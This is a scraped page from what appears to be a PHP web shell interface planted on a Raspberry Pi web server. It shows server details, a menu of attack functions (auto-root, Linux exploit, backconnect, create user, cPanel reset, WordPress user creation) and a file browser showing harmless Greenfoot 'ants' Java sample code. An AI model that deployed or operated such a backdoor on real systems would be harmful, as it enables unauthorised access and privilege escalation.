Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
Greenfoot /
scenarios /
java /
ants /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
Ant.class
2.62
KB
-rw-r--r--
Ant.java
3.65
KB
-rw-r--r--
AntHill.class
1.24
KB
-rw-r--r--
AntHill.java
1.45
KB
-rw-r--r--
AntWorld.class
1.46
KB
-rw-r--r--
AntWorld.java
2.29
KB
-rw-r--r--
Counter.class
1.48
KB
-rw-r--r--
Counter.java
1.04
KB
-rw-r--r--
Creature.class
2.49
KB
-rw-r--r--
Creature.java
5.2
KB
-rw-r--r--
Food.class
1.6
KB
-rw-r--r--
Food.java
1.88
KB
-rw-r--r--
Pheromone.class
1.14
KB
-rw-r--r--
Pheromone.java
1.39
KB
-rw-r--r--
README.TXT
368
B
-rw-r--r--
project.greenfoot
3.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Pheromone.java
import greenfoot.*; // (World, Actor, GreenfootImage, and Greenfoot) /** * Pheromones are dropped by ants when they want to communicate something to * other ants. * * @author Michael Kölling * @version 1.1 */ public class Pheromone extends Actor { private final static int MAX_INTENSITY = 180; private int intensity; /** * Create a new drop of pheromone with full intensity. */ public Pheromone() { intensity = MAX_INTENSITY; updateImage(); } /** * The pheromone decreases the intensity. When the intensity reaches zero, it disappears. */ public void act() { intensity -= 1; if (intensity <= 0) { getWorld().removeObject(this); } else { if ((intensity % 4) == 0) { // every four steps... updateImage(); } } } /** * Make the image. The size and transparency are proportional to the intensity. */ private void updateImage() { int size = intensity / 3 + 5; GreenfootImage image = new GreenfootImage(size + 1, size + 1); int alpha = intensity / 3; image.setColor(new Color(255, 255, 255, alpha)); image.fillOval(0, 0, size, size); image.setColor(Color.DARK_GRAY); image.fillRect(size / 2, size / 2, 2, 2); // small dot in the middle setImage(image); } }
Close